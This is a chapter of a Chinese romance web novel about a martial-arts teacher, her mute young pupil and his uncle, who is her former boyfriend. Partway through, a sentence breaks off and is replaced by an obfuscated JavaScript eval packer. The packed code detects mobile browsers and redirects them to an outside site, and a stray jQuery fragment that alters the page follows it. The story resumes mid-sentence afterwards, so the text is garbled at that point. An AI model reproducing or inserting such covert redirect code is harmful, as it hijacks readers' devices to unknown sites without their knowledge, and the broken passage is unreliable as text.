正午的太阳被浓云笼住,忽地降下淅淅沥沥的绵延细雨。
天边有或远或近的乌鸦叫声,也被雨声埋没,渐渐听不清晰。
秦映和沈回渊从阳台退出来,关好窗,以防雨水淋湿阳台。
回到练功房,就看见沈一帆还在安安静静地睡着。
秦映叫醒他,小男孩挣扎了好几下,迷迷糊糊地坐起来。
然后是一脸茫然。
秦映刮了一下他的鼻子:“睡够了没有,该回家啦。”
沈一帆这才意识到自己身处何处,不情愿地站起来,拉了拉秦映的袖子。
秦映知道他舍不得自己,摸摸他的脑袋:“我对你这么严苛,每次来我这都跟过了趟鬼门关似的,你怎么还舍不得我?”
沈一帆张了张嘴,似乎是想说什么,却没说出来。
秦映心里百感交集,说:“下次见面,试着叫一声师父吧。”
她没指望几句话就能把沈一帆心里的创伤治愈,所以说出这句话的时候,也没抱有太大的期望。
可沈一帆却望着她的眼睛,坚定地点点头。
在他幼小脆弱的心灵里,能留出位置给重要的人不多,爸妈算一个,叔叔算一个,其他人沈一帆装不下,也不想装。
可看着秦映的脸,他忽然想把她也塞进心里。
他挥动着小手,跟秦映“说”再见。秦映也笑了,不舍地和他告别。
临走前,沈回渊说:“谢谢。”
秦映摇摇头,表示自己并没有帮上什么,承不住这句谢。
她将二人送到门口,看着他们远行。
有凉风从门缝灌进来,夹带几丝冰雨,也一同刮来了和冷雨一样清冽的声音。
“进去吧,风凉。”
-
回家的路上,沈回渊专心开车,听着雨珠不断敲打车窗。
沈一帆坐不住,蹑手蹑脚地扯了扯他叔叔肩上的衣扣,心事昭然若揭。
沈回渊瞧了他一眼,就知道他要干什么——平时,他几乎不会让他玩手机,可也许是今天,他实在狠不下心来拒绝,只好对他说:“只能看十分钟。”
沈一帆眼睛冒光,点点头。
沈一帆最喜欢玩叔叔手机里的微信小游戏,迫不及待地打开,却发现沈回渊的工作账号。
他可不敢动这个,谨慎地点了“切换账号”,换回来他的日常微信。
结果就收到了一堆轰炸式的消息。
也不知道为什么,本来特别想玩游戏的沈一帆突然就没那么感兴趣了,反倒是其中一个”99+”的群消息,吸引了他的视线。
因为上面写着他叔叔的名字。
沈一帆随手点开,就发现一整列都是在艾特他叔叔,沈一帆不知道发生了什么,但感觉一定很重要。
他探出身子,把手机放到沈回渊面前,让他看。
沈回渊此时正在等一个九十多秒的红灯,自然而然接过手机,瞥了一眼。
没想到是江大校友群的聊天内容,他看了一会儿,表情越来越凝重。
尤其是秦映那句“已分手,勿扰”,就像一道明晃晃的利刃,刺痛他的神经。
也正因为这一句话,群里骤然安静了几个小时,然后又如雨后春笋般冒头,都转移到了沈回渊的私信里。
几个大学跟他关系不错的朋友跑过来慰问。
沈回渊吐出一口气,自嘲地苦笑一声。
他想起秦映刚跟他分手那会儿,他极度消沉,一向自律的生活习惯也被彻底打破,整日都有些浑浑噩噩。
从来没有熬过夜的他,看了一整晚秦映最爱的电视剧,一直到快天亮才睡去。后来又染上了酒瘾和烟瘾,只能借酒精和烟草来麻痹自己。
他破天荒地把所有课业和工作都放下,请了假,一个人跑去酒吧——沈回渊以前从没来过这种地方,反倒是秦映很喜欢,说了多少次叫她不许去,她都不肯。
沈回渊在里面待了两宿,最终也没敢站起来融入疯狂的舞池。
后来,沈回渊常常在想,是不是因为他太无趣,太古板,总是忙工作忙学业忽视了秦映,才导致她和自己分手。
这个问题,沈回渊想了五年。
这时,一声急促的汽笛声响,把沈回渊从过往中拉回现实。
他听见后面有人骂了一句,然后开到旁道驶了过去,最后还不忘瞪他一眼。
“……”
沈回渊这才回过神,慢半拍似的地踩下油门。
沈一帆不知发生了什么,看叔叔开动车子,便要去拿手机。
沈回渊把手机递给他之前,最后看了一眼留学生交流会的时间和地址。
——两周后,斯坦福大学对面的墨西哥牛排餐厅。
-
那边沈回渊带着沈一帆走后,武馆恢复了宁静,秦映坐在电脑前研究了一下午剪辑。
她没学过剪辑,也就有大学时和室友拍视频的那点功底,磕磕绊绊把视频剪好,自己都不想看第二遍,然后发到了facebook上。
又把那个大学时点赞破万的舞枪视频也发上去,期待能有奇迹发生。
时间很快来到周一,今天沈一帆开学,两点半下课后,沈一帆就来了,特别迫不及待。
但今天沈回渊没有跟来,来的只有他的助理。
“沈总现在还在开会,脱不开身,就派我来了。”
助理方佑解释,又说,“沈总让我跟您说一句抱歉,今天怕是不能给您拍视频,不过叫您放心,下回他一定来。”
秦映点点头:“没事。”
“哦对。”
方佑把手上的牛皮纸袋递过去,“这个是沈总托我带给您的,一些小点心,不是什么贵重东西,秦小姐一定要收着。”
秦映刚要拒绝,听他这么说,只好接过,一边瞅着牛皮袋上的标签,一边漫不经心说:“他怎么不自己送来?”
“这……”方佑犯了难,一时不知怎么回答,“也许是怕搁久了,味道不新鲜了。”
秦映没听见他后半截话,她的眼神全在标签上面写着的“丰顺阁”三个字上。
“这不是帝都最有名的糕点店吗?”秦映震惊,“他是怎么弄到的?”
方佑没忍住笑,油嘴滑舌:“秦小姐想吃,沈总自然弄得到。”
秦映:“……”
她什么时候说她想吃了!
不过,还在帝都那会儿,秦映确实最喜欢吃这家糕点,有时候和沈回渊赌气,不高兴了,他也老买这些东西来哄她。
秦映好久没回国,早就馋这些东西馋得望眼欲穿了,咽了咽口水,佯装不喜:“下次让他不要再带这些东西了,没人稀罕。”
“是,是。”方佑看透一切,站在一旁憋笑。
秦映性格爽朗,不遵守那些世俗规矩,直接当着大家的面把盒子打开,给了沈一帆一块,然后又给方佑一块。
方佑可不敢接,连连摆手,说自己是“不爱吃”。
秦映也没有强迫,自己往嘴里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501735|170374||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
塞了一块,才带沈一帆去练武。
沈一帆今天心情不错,练得起劲,他状态好的时候,秦映就不吝夸奖,还给他准备了小礼物。
等到课间休息时,方佑进来,拿着手机,让沈一帆接听。
他把手机拿过来就出去了,只听电话里传来声音:“帆帆,今天练得还顺利吗?”
是沈回渊。
半天没回应,秦映没注意到方佑走了,而沈一帆不会说话。
声音停滞两秒,对面说:“喂?”
秦映才反应过来,尴尬地替沈一帆说:“帆帆挺好的,你不用担心。”
沈回渊:“那就好。今天给你带的糕点怎么样,好吃么?”
“……”
秦映最头秃的就是问这个:“还行。你不是在开会吗,怎么有时候打电话?”
沈回渊答:“先暂停了,想着给你们打个电话,才放心。”
秦映:“……”
她听得起鸡皮疙瘩,这话怎么就跟老婆孩子热炕头似的?
秦映冷笑:“那你还真是好心。”
然后就不想再听他废话,立刻挂断。
小小的沈回渊瞪着大大的眼睛,实在不明白为什么师父和叔叔总吵架。
而且,他们的吵架方式跟别人还不一样,好像他叔叔……格外开心。
美国的小孩都早熟,才上小学已经能看到不少人出双入对。
沈一帆对这种事也隐约明白一点儿,但还不确定。
于是在纸上写:【师父,你和我叔叔之前是不是认识?】
秦映看清这几个字,有点不知道怎么解释,跟他说实话吧,容易带坏小孩子;不说吧,谁也不瞎,也不是看不出来。
秦映干脆说:“我跟你叔叔以前是大学同学,巧吧?”
沈一帆做了一个“原来如此”的表情,又写:【那我叔叔是不是喜欢你啊?】
秦映定睛一看,还以为自己眼睛花了,打死也不相信这是一个十岁小孩写出来的东西。
“我滴乖乖。”秦映扶额,心虚道,“你想哪去了,我们顶多……算朋友吧。”
要不是怕带坏小孩子,她连朋友都不乐意说,应该算冤家!
沈一帆不解,撅着个小嘴:【可是我叔叔每次看见你,都笑得特别开心啊。他从来不对别人这样。】
“……”
秦映的嘴角抽了三抽,捏了捏他的小脸蛋:“你肯定是看错了。”
她不想再议论这件事,干脆把沈一帆叫起来,提前两分钟练武。
沈一帆不情不愿地起身,只好暂放这段惊天大八卦,跟着秦映开始练基本功。
两个小时的教学结束后,外面已经降下夜色,升起点点星火。
Christine街灯光繁复,照得整条街亮堂犹若白昼,能看见外面有不少居民带着小孩玩。
秦映把沈一帆领出来,方佑把挡风外套给他穿好。
走之前,沈一帆忽然张口,似乎用尽很大力气说:“师……父。”
由于太长时间没说话,他已经几乎快丧失语言表达能力,所以说几个简单的字都很浪费精力。
秦映没想到那么突然,有点不可置信:“你说什么?”
“师……父。”沈一帆又重复一遍。
秦映震惊得不行,喜极而笑:“你会说话了?”
激动得蹲下来抱住沈一帆。
沈一帆露出一个明朗的笑,和一个礼拜前的状态不同,眉间阴郁一扫而空。